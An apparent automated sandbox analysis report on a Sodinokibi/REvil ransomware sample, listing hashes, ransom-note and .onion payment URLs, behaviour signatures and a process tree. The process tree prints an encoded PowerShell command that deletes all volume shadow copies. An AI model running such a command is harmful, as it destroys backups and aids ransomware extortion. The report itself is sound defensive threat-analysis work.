Analysis
-
max time kernel
142s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20231020-en -
resource tags
arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system -
submitted
17-11-2023 17:21
Static task
static1
Behavioral task
behavioral1
Sample
NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
Resource
win7-20231020-en
Behavioral task
behavioral2
Sample
NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
Resource
win10v2004-20231020-en
General
-
Target
NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
-
Size
166KB
-
MD5
44c753ed1faec948b0d98bc9ba047469
-
SHA1
1aa2d575752dcfa73ea8bd2fa666e18588be353c
-
SHA256
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01
-
SHA512
f7d4c3988f82839264e83c1a17024c695bd8ff31a224eba3cfc9e3712758be5450521c1e52c246b02dad0849bdf381ad40d77e9b5bab6f8135f07219c13047e0
-
SSDEEP
3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QoIeXt5KCn16:ZJ0BXScFy2RsQJ8zg9edTn1
Malware Config
Extracted
C:\Recovery\8176v62z-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/460BF68515DF93C5
http://decryptor.cc/460BF68515DF93C5
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exedescription ioc process File opened (read-only) \??\F: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\Z: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\D: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\U: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\X: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\E: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\K: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\N: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\Q: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\J: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\M: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\P: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\S: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\W: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\H: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\L: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\A: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\Y: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\G: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\I: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\R: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\T: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\V: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\B: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\O: NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\hz2m3m1e71zr.bmp" NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe -
Drops file in Program Files directory 14 IoCs
Processes:
NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exedescription ioc process File opened for modification \??\c:\program files\ApproveExit.dxf NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\GetNew.asx NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\RepairWait.pdf NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ShowSync.vssm NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\SyncMove.xps NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ApproveEdit.3gp2 NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\CompareRedo.svg NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\MeasureBlock.xsl NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\RemoveSplit.jfif NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\UnpublishUndo.xlsm NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files\8176v62z-readme.txt NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ExportCopy.dot NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\UnlockAdd.svgz NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files (x86)\8176v62z-readme.txt NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exepowershell.exepid process 4856 NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe 4856 NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe 1912 powershell.exe 1912 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 4856 NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe Token: SeDebugPrivilege 1912 powershell.exe Token: SeBackupPrivilege 2308 vssvc.exe Token: SeRestorePrivilege 2308 vssvc.exe Token: SeAuditPrivilege 2308 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exedescription pid process target process PID 4856 wrote to memory of 1912 4856 NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe powershell.exe PID 4856 wrote to memory of 1912 4856 NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe powershell.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe"C:\Users\Admin\AppData\Local\Temp\NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe"1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Recovery\8176v62z-readme.txtFilesize
7KB
MD5d294054344d1fecbb78d754e80e1f412
SHA11a6b970e2bacd3ff4a9a52d73651e44eeba2a9c0
SHA2565fdfd778667551d45a39101e5783990e9bd029c3f6e98b0ab9620079cf290fe0
SHA51234f42f41d2185d7f80e16d7c7b248173133b772a34798c8647a68253aa7f12177cc7eed2d13ec4e73cd23104d0476b7bee4694fd48d4c95b3207276cea76761d
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_juqvz431.bqg.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/1912-8-0x000002B1E9740000-0x000002B1E9762000-memory.dmpFilesize
136KB
-
memory/1912-10-0x00007FFEC66E0000-0x00007FFEC71A1000-memory.dmpFilesize
10.8MB
-
memory/1912-11-0x000002B1CF350000-0x000002B1CF360000-memory.dmpFilesize
64KB
-
memory/1912-14-0x00007FFEC66E0000-0x00007FFEC71A1000-memory.dmpFilesize
10.8MB